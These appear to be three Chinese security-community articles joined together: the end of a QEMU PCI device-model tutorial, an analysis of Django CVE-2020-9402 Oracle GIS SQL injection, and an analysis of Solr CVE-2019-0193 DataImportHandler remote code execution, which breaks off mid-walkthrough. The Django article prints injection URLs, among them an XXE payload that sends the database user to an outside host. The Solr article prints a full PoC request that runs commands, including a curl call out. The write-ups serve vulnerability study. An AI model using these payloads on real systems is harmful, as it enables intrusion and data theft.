`Object`对象为何物？`Type`以及`ObjectClass`只是一个类型，而不是具体的设备。`TypeInfo`结构体中有两个函数指针：`instance_init`以及`class_init`。`class_init`是负责初始化`ObjectClass`结构体的，`instance_init`则是负责初始化具体`Object`结构体的。
the Object constructor and destructor functions (registered by the respective Objectclass constructors) will now only get called if the corresponding PCI device's -device option was specified on the QEMU command line (unless, probably, it is a default PCI device for the machine).
Object类的构造函数与析构函数（在Objectclass构造函数中注册的）只有在命令中-device指定加载该设备后才会调用（或者它是该系统的默认加载PCI设备）。
`Object`示例如下所示：
/* include/qom/object.h */
typedef struct Object Object;
struct Object
{
/*< private >*/
ObjectClass *class; /* points to the Type's ObjectClass instance */
...
/* include/qemu/typedefs.h */
typedef struct DeviceState DeviceState;
typedef struct PCIDevice PCIDevice;
/* include/hw/qdev-core.h */
struct DeviceState {
/*< private >*/
Object parent_obj;
/*< public >*/
...
/* include/hw/pci/pci.h */
struct PCIDevice {
DeviceState qdev;
...
struct YourDeviceState{
PCIDevice pdev;
...
（QOM will use instace_size as the size to allocate a Device Object, and then
it invokes the instance_init ）
QOM会为设备Object分配`instace_size`大小的空间，然后调用`instance_init`函数（在Objectclass的class_init函数中定义）：
static int pci_testdev_init(PCIDevice *pci_dev)
{
PCITestDevState *d = PCI_TEST_DEV(pci_dev);
...
最后便是PCI的内存空间了，qemu使用`MemoryRegion`来表示内存空间，在`include/exec/memory.h`中定义。使用`MemoryRegionOps`结构体来对内存的操作进行表示，如`PMIO`或`MMIO`。对每个`PMIO`或`MMIO`操作都需要相应的`MemoryRegionOps`结构体，该结构体包含相应的`read/write`回调函数。
static const MemoryRegionOps pci_testdev_mmio_ops = {
.read = pci_testdev_read,
.write = pci_testdev_mmio_write,
.endianness = DEVICE_LITTLE_ENDIAN,
.impl = {
.min_access_size = 1,
.max_access_size = 1,
},
};
static const MemoryRegionOps pci_testdev_pio_ops = {
.read = pci_testdev_read,
.write = pci_testdev_pio_write,
.endianness = DEVICE_LITTLE_ENDIAN,
.impl = {
.min_access_size = 1,
.max_access_size = 1,
},
};
首先使用`memory_region_init_io`函数初始化内存空间（`MemoryRegion`结构体），记录空间大小，注册相应的读写函数等；然后调用`pci_register_bar`来注册BAR等信息。需要指出的是无论是MMIO还是PMIO，其所对应的空间需要显示的指出（即静态声明或者是动态分配），因为`memory_region_init_io`只是记录空间大小而并不分配。
/* hw/misc/pci-testdev.c */
#define IOTEST_IOSIZE 128
#define IOTEST_MEMSIZE 2048
typedef struct PCITestDevState {
/*< private >*/
PCIDevice parent_obj;
/*< public >*/
MemoryRegion mmio;
MemoryRegion portio;
IOTest *tests;
int current;
} PCITestDevState;
static int pci_testdev_init(PCIDevice *pci_dev)
{
PCITestDevState *d = PCI_TEST_DEV(pci_dev);
...
memory_region_init_io(&d->mmio, OBJECT(d), &pci_testdev_mmio_ops, d,
"pci-testdev-mmio", IOTEST_MEMSIZE * 2);
memory_region_init_io(&d->portio, OBJECT(d), &pci_testdev_pio_ops, d,
"pci-testdev-portio", IOTEST_IOSIZE * 2);
pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &d->mmio);
pci_register_bar(pci_dev, 1, PCI_BASE_ADDRESS_SPACE_IO, &d->portio);
到此基本结束了，最后可以去看[strng](https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c)的实现去看一个设备具体是怎么实现的，它的相应的数据结构是怎么写的。
## 小结
介绍了qemu虚拟机的内存结构以及它的地址转化；以及pci设备的配置空间，比较重要的是BAR信息还有PMIO以及MMIO；最后是QOM模型，如何通过QOM对象来实现一个PCI设备，实现其相应的PMIO以及MMIO等。
相关文件以及脚本的[链接](https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/qemu-basic-knowledge)
## 参考链接
1. [QEMU Internals: Big picture overview](http://blog.vmsplice.net/2011/03/qemu-internals-big-picture-overview.html)
2. [VM escape-QEMU Case Study](http://www.phrack.org/papers/vm-escape-qemu-case-study.html)
3. [内存映射IO (MMIO) 简介](https://zhuanlan.zhihu.com/p/37715216)
4. [浅谈内存映射I/O(MMIO)与端口映射I/O(PMIO)的区别](https://www.cnblogs.com/idorax/p/7691334.html)
5. [PCI设备的地址空间](https://www.cnblogs.com/zszmhd/archive/2012/05/08/2490105.html)
6. [[PCI 设备详解一](https://www.cnblogs.com/ck1020/p/5942703.html)]
7. [Essential QEMU PCI API](http://web.archive.org/web/20151116022950/http://nairobi-embedded.org/001_qemu_pci_device_essentials.html)
8. [Writing a PCI Device Driver, A Tutorial with a QEMU Virtual Device](http://web.archive.org/web/20151115031755/http://nairobi-embedded.org:80/linux_pci_device_driver.html)
9. [QEMU中的对象模型——QOM（介绍篇）](https://blog.csdn.net/u011364612/article/details/53485856)
10. [How QEMU Emulates Devices](https://www.w0lfzhang.com/2018/11/02/How-QEMU-Emulates-Devices/)
11. [Blizzard CTF 2017: Sombra True Random Number Generator (STRNG)](https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c) | 社区文章 |
**0x00前言**
又迎来Django一个sql注入的命令执行，因此来分析分析。
CVE-2020-9402: Potential SQL injection via tolerance parameter in GIS functions and aggregates on Oracle
GIS functions and aggregates on Oracle were subject to SQL injection, using a suitably crafted tolerance.
**0x01GIS**
根据官网的修复<https://github.com/django/django/commit/6695d29b1c1ce979725816295a26ecc64ae0e927#diff-229e38ececbfc591f7a5e595bf5707c4>，可以看到问题出在GIS的查询上面
[
[
官方只修复了这两个位置，可以发现基本上是对于`tolerance`参数进行判断是否为数字。那首先来了解一下GIS查询。
GIS查询API是一个地理位置的查询API，提供用户存储精确GPS的位置的数据模块，属于一个空间数据库，我们可以通过如下的经纬度信息
pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326)
>>>SRID=4326;POINT (-96.876369 29.90532)
来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储
from django.contrib.gis.db import models
class Names(models.Model):
name = models.CharField(max_length=128)
def __str__(self):
return self.name
class Interstate(Names):
path = models.LineStringField()
后台存储的时候发出path的信息为json数据，例如
{"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}
[
我们就获得了一个基本的地理位置数据,同理，通过构造一个聚合的查询方法
def vuln(request):
q = request.GET.get('q')
qs=Interstate.objects.annotate(
d=Distance(
Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
Point(0.009735976166628611, -0.00587635491086091, srid=4326),
tolerance = q, # default 0.05
),
).filter(d=D(m=1)).values('name')
因为官网文档找不到如何构造Point查询，因此为了省事，直接写死了Point数值。。srid为空间参考的投影设置，默认值为4326。其中`tolerance`是对于oracle特殊存在的一个键值，其作用是基本你的容错率，详细的信息可以参考[oracle官方文档](https://docs.oracle.com/en/database/oracle/oracle-database/18/spatl/spatial-concepts.html#GUID-CE10AB14-D5EA-43BA-A647-DAC9EEF41EE6 "oracle官方文档")。对应的查询语句为
SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1.0 FETCH FIRST 21 ROWS ONLY;
**0x02代码分析**
首先从传入一个url
http://127.0.0.1:8000/vuln/?q=20) = 1 OR 1=1 OR (1%2B1
从`annotate`聚合函数开始跟进，同普通的model函数查询一样，gis查询虽然拥有着单独的model模块，但依旧还是依靠着普通model中进行过滤和查询。从gis的model文件夹中的`__init__.py`文件中看
[
主要的查询依然调用的是django最基本的db方法，而其中单独定义了`function`方法等一些对地理位置插叙独特的方法。程序运行到`/django/db/models/manager.py`文件中的`_get_queryset_methods`后，获取到tolerant参数之后便直接进入到gis模块中进行查询
[
继而进入到`django/contrib/gis/measure.py`文件中的`MeasureBase`类中进行方法调用，那么后面的方法分析可以跳过，因此直接来到漏洞代码段。先来看gis
API中的functions函数，在as_oracle方法这一段
def as_oracle(self, compiler, connection, **extra_context):
tol = self.extra.get('tolerance', self.tolerance)
return self.as_sql(
compiler, connection,
template="%%(function)s(%%(expressions)s, %s)" % tol,
**extra_context
)
`tolerance`
从self.extra.get导入，该方法会搜索全局变量的值，如果该值不存在，则直接设置为0.05，并且将其直接传入到新的变量中。之后则不对tol进行任何处理直接拼接到template字符串中并且传入`as_sql`方法。那么官方对于as_sql的文档是，此方法需要一个SQLCompiler对象，位于`django/db/models/sql/compiler.py`文件中。而我们只需要知道在该对象中有一个`compile()`方法，该方法可以返回一个包含SQL字符串的元祖，而SQLComiler对象中的query变量则是存储直接进行SQL查询语句的SQL命令。从而两个Point分别进入`compile`方法中进行拼接
[
不知道为什么，用pycharm在as_oracle下断点的时候，第一次到达SQLCompiler的时候，pycharm不会在as_oracle函数中停下来，而是在第二次查询的时候才会停，但是经过测试确实是在进入SQLCompiler之前调用过as_orcle函数，可能是pycharm没有正确识别重载函数吧。之后template构造模版也因此进入到`expression.py`中的as_sql函数中进行字符串构造
[
因此最后进入oracle的命令语句是
SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1 OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;
[
带入数据库中查询
[
[
官方修复的方法就是加入Value函数，判断传入的值是否为数字，否的话直接报错推出。那么第二个注入点就是`Union`了，建立Model
class City(Names):
point = models.PointField() # 点模块
编辑传入的参数为
{"type":"Point","coordinates":[13250.226757682816,68815.69380603009]}
view中设置查询
from django.contrib.gis.db.models import Union
def vuln2(request):
q = request.GET.get('q')
res = City.objects.aggregate(
Union('point', tolerance=q),
)
return HttpResponse(res)
输入url
http://127.0.0.1:8000/vuln2?q=0.05)))%2C%20(((1
首先看结果，得到的SQL查询语句为
SELECT SDO_UTIL.TO_WKBGEOMETRY(SDO_AGGR_UNION(SDOAGGRTYPE("APP_CITY"."POINT",0.05))), (((1))) AS "POINT__UNION" FROM "APP_CITY";
[
该aggregate查询方法是GIS查询特定的一种查询方法，为的是与地理查询的语句做适配,用法跟原模块的方法类似。因此跟进GIS模块中的聚合查询方法，位于`django/contrib/gis/db/models/aggregates.py`文件内的as_oracle方法。
[
同样tolerance没有做任何检查直接传入了template模版语句中，原理与上面annotate查询过程一致。利用有大致两个方法
报错注入
http://localhost:8000/test/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v%24instance)) from dual) is null%20 OR (1%2B1
[
CVE-2014-6577
因为Django自2.0以后支持的oracle版本为12以上，因此可以尝试oracle
XXE来进行SQL的注入。同时因为在SQL处理的过程中有三次利用%的模版跳转，因此需要在XMLpayload中的%替换为%%%%，payload为
http://localhost:8000/test/?q=20) = 1 OR (select%20extractvalue(xmltype('%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20%25%25%25%25%20remote%20SYSTEM%20%22http%3A%2F%2Fdocker.for.mac.host.internal%3A9000%2F'%7C%7C(SELECT%20user%20from%20dual)%7C%7C'%22%3E%20%25%25%25%25remote%3B%5D%3E')%2C'%2Fl')%20from%20dual)%20is%20not%20null OR (1%2B1
[
命令执行的话因为是docker起的oracle所以没有设置JAVA的环境，暂时也不能判定有没有，以后再研究看看。
环境在vulhub里<https://vulhub.org/#/environments/django/CVE-2020-9402/>
**0xFF Reference**
* <https://docs.djangoproject.com/zh-hans/3.0/ref/contrib/gis/geoquerysets/>
* <https://docs.djangoproject.com/zh-hans/3.0/howto/custom-lookups/>
* <https://docs.djangoproject.com/en/3.0/ref/contrib/gis/db-api/#distance-queries> | 社区文章 |
### 简介
Apache Solr是一个企业级搜索平台，用Java编写且开源，基于Apache Lucene项目。
* 主要功能包括：
* full-text search 全文搜索
* hit highlighting
* faceted search
* dynamic clustering 动态聚类
* document parsing 文档解析
* Solr可以像数据库一样被使用：
* 1.运行服务器，创建collection1
* 2.从外部获取数据 - 向collection1发送不同类型的数据（例如文本，xml文档，pdf文档等任何格式）
* 3.存储数据并生成索引 - Solr自动索引这些数据并提供快速、丰富的REST API接口，以便于你搜索已有数据
与Solr服务器通信的唯一协议是HTTP，并且默认情况下无需身份验证即可访问，所以Solr容易受到web攻击(SSRF，CSRF等)。
### 漏洞信息
8月1日，Apache Solr官方发布了CVE-2019-0193漏洞预警。
此漏洞位于Apache Solr的可选模块DataImportHandler模块中。
模块介绍：
DataImportHandler模块
虽然是一个可选模块，但是它常常被使用。
该模块的作用:从数据源（数据库或其他源）中提取数据。
* 该模块的配置信息 "DIH配置"(DIH configuration) 可使用以下的方式指定:
* Server端 - 通过Server的“配置文件“来指定配置信息"DIH配置"
* web请求 - 使用web请求中的dataConfig参数(该参数 **用户可控** ）来指定配置信息"DIH配置"（整个DIH配置可以来自请求的“dataConfig”参数）
漏洞描述:
Apache Solr如果启用了DataImportHandler模块，因为它支持使用web请求来指定配置信息"DIH配置"
，攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容)，dataConfig内容完全可控(多种利用方式)，后端处理的过程中，可导致命令执行。
利用方式:
(其中一种利用方式)
"DIH配置"
("DIH配置"中可以包含脚本内容，本来是为了对数据进行转换)，构造包含脚本的配置信息当Web后端处理该请求时，会使用“脚本转换器“(ScriptTransformer)对“脚本“进行解析，而Web后端未对脚本内容做任何限制(可以导入并使用任意的Java类，如执行命令的类)，导致可以执行任意代码。
利用条件：
1.Apache Solr的DataImportHandler启用了模块DataImportHandler(默认情况下该模块不会被启用)
2.Solr Admin UI未开启鉴权认证。（默认情况下打开web界面无需任何认证）
影响范围:
Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用)，存在该漏洞。
Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始，默认不可使用dataConfig参数，想使用此参数需要将Java
System属性“enable.dih.dataConfigParam”设置为true。只有当Solr>=8.2.0但是主动将Java
System属性“enable.dih.dataConfigParam”设置为true，才存在漏洞。
参考自 <https://issues.apache.org/jira/browse/SOLR-13669>
### 基础概念
#### 基础概念 - DIH概念和术语
参考官方资料
<https://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html#dih-concepts-and-terminology>
* 数据导入处理程序(the Data Import Handler,DIH)常用术语
* Datasource (数据源)
* 概念：数据源，定义了 即将导入Solr的 “Solr之外的“ 【数据的位置】。
* 数据源 有很多种：
* 导入Solr的数据如果来自"数据库"，此时数据源(外部数据的位置)就是一个DSN(Data Source Name)
* 导入Solr的数据如果来自“HTTP的响应“ （如RSS订阅源、atom订阅源、结构化的XML...），此时数据源(外部数据的位置)就是URL地址
* ...支持多种数据源 参考以上链接
* Entity - 实体
* Conceptually, an entity is processed to generate a set of documents, containing multiple fields, which (after optionally being transformed in various ways) are sent to Solr for indexing. For a RDBMS data source, an entity is a view or table, which would be processed by one or more SQL statements to generate a set of rows (documents) with one or more columns (fields).
* 从概念上讲，“实体“被处理是为了生成Solr中的一组文档(a set of documents)，包含多个字段fields)，这些字段(可以用各种方式转换之后)发送到Solr进行索引。对于RDBMS(关系型数据库)数据源，实体是这个RDBMS中的一个视图(view)或表(table)，它们将被一个或多个SQL语句处理，从而生成Solr中的一组行(文档)，这些行(文档)，具有一个或多个列(字段)。
* 个人理解，实体就是外部的数据源中的实实在在的“数据“。
* Processor - 实体处理器
* An entity processor does the work of extracting content from a data source, transforming it, and adding it to the index. Custom entity processors can be written to extend or replace the ones supplied.
* 实体处理器从(Solr外部的)"数据源"中提取数据内容，转换数据内容并将其添加到Solr索引中。可以编写"自定义实体处理器"(Custom entity processors)来扩展或替换已提供的处理器。
* 个人理解，实体处理器的作用是“提取“并“转换“外部数据。
* Transformer - 转换器
* Each set of fields fetched by the entity may optionally be transformed. This process can modify the fields, create new fields, or generate multiple rows/documents form a single row.
* 实体（从Solr之外的数据源中）获取的每一组字段，都可以有选择地被“转换器“转换。此转换过程可以修改字段(fields)、创建新字段、或从单单一行(a single row)生成多个rows/documents。
* 个人理解，“转换器“主要是被“实体处理器“调用，用来对“数据内容“做转换。
* There are several built-in transformers in the DIH, which perform functions such as modifying dates and stripping HTML. It is possible to write custom transformers using the publicly available interface.
* DIH中有几个内置转换器，它们执行诸如修改日期(modifying dates)和剥离HTML(stripping HTML)等函数。可以使用"public的接口"编写自定义转换器。
#### 基础概念 - dataconfig
参考官方资料
<https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#configuring-the-dih-configuration-file>
<https://cwiki.apache.org/confluence/display/solr/DataImportHandler>
尤其是其中的“Usage with XML/HTTP Datasource”
Solr如何从外部数据源中获取数据呢？
使用DataImportHandler模块，只需要提供`dataConfig` (配置信息)即可。
因为配置信息详细的说明了：“导入数据“、“转换数据“等操作需要的所有参数。
配置信息应该怎么写？需要符合语法。
看例1即可看到：“导入数据“、“转换数据“等操作需要的所有参数。
`dataConfig` 内容 例1：
数据源为“数据库的位置”
<dataConfig>
<!-- 第1个元素是dataSource driver属性值说明了"JDBC驱动程序的路径"; url属性说明了“JDBC URL“; user属性说明了“登录凭据“ ...-->
<dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:./example-DIH/hsqldb/ex" user="sa" password="secret"/>
<!-- 第2个元素是document 它包含了多个entity(实体)元素 注意 entity(实体)可以嵌套entity(实体) -->
<document>
<!-- 下面紧接着一行 是个root entity(根实体)元素 含有1个或多个 field(字段)元素，它们的作用是将“数据源字段名称“映射到“Solr中的字段“，并可选择指定每个字段的转换 -->
<entity name="item" query="select * from item"
deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
<field column="NAME" name="name" />
<entity name="feature"
query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
<!-- 上面紧接的一行中 ID的值的含义是 是当前item(项) 的 “ID” column(列) 的值 -->
<field name="features" column="DESCRIPTION" />
</entity>
<entity name="item_category"
query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
<entity name="category"
query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
<field column="description" name="cat" />
</entity>
</entity>
</entity>
</document>
</dataConfig>
#### 基础概念 - ScriptTransformer
参考官方资料 <https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer>
脚本转换器(ScriptTransformer)：它允许开发者使用Java支持的任何脚本语言。
实际情况：Java
8默认自带了Javascript脚本解析引擎，需要支持其他语言的话需要自己整合(JRuby、Jython、Groovy、BeanShell等)
要写脚本必须满足以下条件："脚本内容"写在数据库配置文件中的`<script>脚本内容</script>`标签之内，并且每个函数都必须接受一个名为`row`的变量，该变量的数据类型为
`Map<String,Object>`(键名-键值
映射)，因为是Map类型的变量，所以它可以使用`get()`,`put()`,`remove()`,`clear()`等方法操作元素。
所以通过脚本可以实现各种操作：修改已存在的字段的值、添加新字段等。
每个函数的返回值都返回的是"对象"。
该脚本将插入DIH配置文件中（脚本内容 在DIH配置文件中的第一行开始），并为每一个"行"(row)调用一次脚本，有多少"行"(row)就调用多少次脚本。
看一个简单的例子
`dataConfig` 内容 例2：
数据源为“数据库的位置”
<dataconfig>
<!-- 函数定义： 该脚本的作用是，获取"华氏温度"（键名为temp_f）数值，计算出对应的"摄氏温度"（键名为temp_c ）的值如99 ，插入键值对 'temp_c',99 到这个名为row的Map对象，retrun该对象 -->
<!-- 函数定义：生成一个新的row的脚本 它的作用是获取到华氏温度temp_f 根据该数值计算出 摄氏温度temp_c 并生成一个新row -->
<script><![CDATA[
function f2c(row) {
var tempf, tempc;
tempf = row.get('temp_f');
if (tempf != null) {
tempc = (tempf - 32.0)*5.0/9.0;
row.put('temp_c', temp_c);
}
return row;
}
]]>
</script>
<document>
<!-- 函数调用：实体entity 中的属性transformer的值 为 函数名称（字符串 f2c ）,这样从外部数据源取到一条row，就会调用一次上面脚本中定义的名为f2c函数. 有多少条数据就调用多少次脚本中的函数 -->
<entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
....
</entity>
</document>
</dataConfig>
#### 基础概念 - Nashorn引擎
* 在Solr的Java环境中使用了Nashorn引擎，它的作用
* 1.实现Java环境解析Javascript脚本
* 2.在Nashorn引擎的支持下,JavaScript脚本可以使用Java中的东西。
如下，JavaScript脚本中可以使用`Java.typeAPI`方法，实现在JavaScript中引用Java中的类
(像Java中的import一样)，并在JavaScript脚本中使用该Java类中的Java方法
var MyJavaClass = Java.type(`my.package.MyJavaClass`);
var result = MyJavaClass.sayHello('Nashorn');
print(result);
### 环境搭建
运行环境：
macOS系统
java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)
使用Solr 8.1.1二进制版，下载地址
<https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip>
使用Solr的example-DIH 路径在`example-DIH/solr/` 它自带了一些可用的索引库: atom, db, mail, solr,
tika
启动Solr开始动态调试。
### PoC
进入DIH admin界面：
<http://solr.com:8983/solr/#/tika/dataimport/dataimport>
如图，这里我选择了Solr example程序中自带的名为tika的索引库（Solr中把索引库叫core)，并填写了dataConfig信息。
构造PoC的注意点1：`debug=true`
如图，DataImportHandler模块的DIH
admin界面中有一个debug选项(本来是为了方便对"DIH配置"进行调试或开发)，勾选`Debug`，点击Execute，看到在HtTP请求中是`debug=true`，在PoC中必须带上它（为了回显结果）。
构造PoC的注意点2：dataConfig信息
注意：数据配置(dataconfig)中实体(entity)、字段(field)标签中有哪些属性取决于用了哪个处理器(processor)、哪个转换器(transformer)
dataConfig信息中的关键点（1）：这里我使用的数据源的类型是URLDataSource(理论上其他数据源的类型都可以)
dataConfig信息中的关键点（2）：既然有（1），所以`<document>`中的 `<entity>`实体标签里说明了该实体的属性。
* `<entity>`实体的属性
* 属性name 必填 用于标识实体的唯一名称
* 属性processor可选项 默认值为`SqlEntityProcessor`，所以当数据源不是RDBMS时必须填写该项。对于`URLDataSource`类型的数据源而言，它的值必须为“XPathEntityProcessor”(根据官方说明只能使用XPathEntityProcessor对‘URL的HTTP响应“做处理)；
* 属性transformer可选项 填写格式为`transformer="script:<function-name>"` 指定了转换数据时具体的transformer(转换器)需要执行的脚本函数的名称(即字符串“poc“)；
* 属性forEach 必填 值为Xpath表达式 用于“划分“记录。如果有多种类型的记录就用`|`符号把这些表达式分隔开；
* 属性url的值用于调用REST API的URL(可以模板化)
dataConfig信息中的关键点（3）：`<dataConfig>`中的`<script>`标签中，写了名为"poc"的脚本函数的具体实现。
抓到HTTP请求，看到是POST方法（用GET完全可以），其中dataConfig是URL编码的（直接用原始数据发现也可以），PoC如下：
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 585
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
执行成功。
同一类型的PoC：
<script><![CDATA[
function poc(data){
new java.lang.ProcessBuilder["(java.lang.String[])"](["/bin/sh","-c", "curl your.net/demo"]).start()
}
]]></script>
### 漏洞分析
在Web浏览器中启动Solr的web管理界面 Solr Admin UI，默认无任何认证，直接访问
<http://127.0.0.1:8983/solr/>
看到Solr正在运行
路由分析：Web后端收到URL为 `/solr/xxx_core_name/dataimport` 的
HTTP请求时，会将HTTP请求实参`req`传入DataImportHandler类的handleRequestBody方法。
文件位置：/solr-8.1.1/dist/solr-dataimporthandler-8.1.1.jar!/org/apache/solr/handler/dataimport/DataImportHandler.class
关键的类：org.apache.solr.handler.dataimport.DataImportHandler
按command+F12查看 DataImportHandler类的方法 和 成员变量
> 图a
>
>
关键方法：很容易发现，DataImportHandler类的`handleRequestBody`方法是用于接受HTTP请求的。
在该方法下断点，以便跟踪输入的数据是如何被处理的。（函数体过长 我折叠了部分逻辑）
> 图0
>
>
执行逻辑：从PoC中可见，HTTP请求中有`debug=true`，根据`handleRequestBody`方法体中的if-else分支判断逻辑可知，会调用`maybeReloadConfiguration`方法(功能是重新加载配置)。
关键方法：`maybeReloadConfiguration`方法
关键语句：this.importer.maybeReloadConfiguration(requestParams, defaultParams);
> 图1
>
>
跟进(Step into)关键方法 `maybeReloadConfiguration` 方法
> 图2
>
>
关键语句：String dataConfigText = params.getDataConfig();//获取HTTP请求中POST
body中的参数`dataConfig`的值
执行逻辑：maybeReloadConfiguration方法体中，会获取HTTP请求中POST
body中的参数`dataConfig`的值，即“DataConfig配置信息“，如果该值不为空则该值传递给`loadDataConfig`方法(功能是加载DataConfig配置信息)
本次调试过程中的"DataConfig配置信息"：
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
解释：
`<dataSource type="URLDataSource"/>`表示数据源的类型为URLDataSource
并且该数据源的实体，属性如下
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
跟进(Step into)关键方法 `loadDataConfig`方法
> 图3
>
>
执行逻辑：loadDataConfig方法的具体实现中，调用了`readFromXml`方法，从xml数据中读取信息。
关键语句：dihcfg = this.readFromXml(document);
跟进(Step into)关键方法 `readFromXml`方法
> readFromXml方法体
>
>
关键语句：`return new DIHConfiguration((Element)documentTags.get(0), this,
functions, script, dataSources, pw);`
执行逻辑：`readFromXml`方法的具体实现中，根据各种不同名称的标签(如document，script，function，dataSource等)，得到了配置数据中的元素。如，配置信息中的自定义脚本在此处被赋值给名为`script`的`Script`类型的变量中。使用“迭代器“递归解析完所有标签后，new一个DIHConfiguration对象(传入的6个实参中有个是script变量），这个DIHConfiguration对象作为`readFromXml`方法的返回值，被return。
该DIHConfiguration对象，实际赋值给了（调用`readFromXml`方法的）
loadDataConfig方法体中的名为`dihcfg`的变量。（见图3）
回溯：现在的情况是，之前在loadDataConfig方法体中调用了的`readFromXml`方法已经执行结束并返回了一个DIHConfiguration对象，赋值给了loadDataConfig方法体中的那个名为`dihcfg`的变量，loadDataConfig方法成功获取到配置信息。
回溯：现在的情况是，之前的maybeReloadConfiguration方法体中调用了的loadDataConfig方法执行结束，DataImporter类的maybeReloadConfiguration方法也得到它需要的boolean返回值，true(见图2)
DataImporter类 org.apache.solr.handler.dataimport.DataImporter
DataImporter类 包含的方法和变量，如图，重点关注的方法是：
maybeReloadConfiguration方法 - boolean maybeReloadConfiguration(RequestInfo params, NamedList<?> defaultParams)
doFullImport方法 - public void doFullImport(DIHWriter writer, RequestInfo requestParams)
runCmd方法
> DataImporter类 包含的方法和变量
>
>
>
>
回溯：现在的情况可参考图0，回到了DataImportHandler类的`handleRequestBody`方法体中，在该方法体中调用了的(DataImporter类中的)maybeReloadConfiguration方法已经执行结束，继续向下执行到关键语句`this.importer.runCmd(requestParams,
sw);`调用了(DataImporter类中的)runCmd方法
跟进(Step into)关键方法 ：(DataImporter类中的)runCmd方法
> 图4 - runCmd方法的方法体
>
>
跟进DataImporter类中的doFullImport方法体
> doFullImport方法体
>
>
功能如下
首先创建一个DocBuilder对象。
DocBuilder对象的主要功能是从给定配置中创建Solr文档 该对象具有名为`config`的`DIHConfiguration`类型的成员变量 见代码
`private DIHConfiguration config;`
然后调用该DocBuilder对象的execute()方法，作用是使用“迭代器“
`this.config.getEntities().iterator();`
，解析"DIH配置"
即名为`config`的`DIHConfiguration`类型的成员变量，根据“属性名称“（如preImportDeleteQuery、postImportDeleteQuery、）获得Entity的所有属性。
最终得到是一个EntityProcessorWrapper对象。
简单介绍下DocBuilder类。
DocBuilder类 org.apache.solr.handler.dataimport.DocBuilder
DocBuilder类 包含的方法，如下图，重点关注：
execute()方法 - public void execute()
doFullDump()方法 - private void doFullDump()
> DocBuilder类 包含的方法
>
>
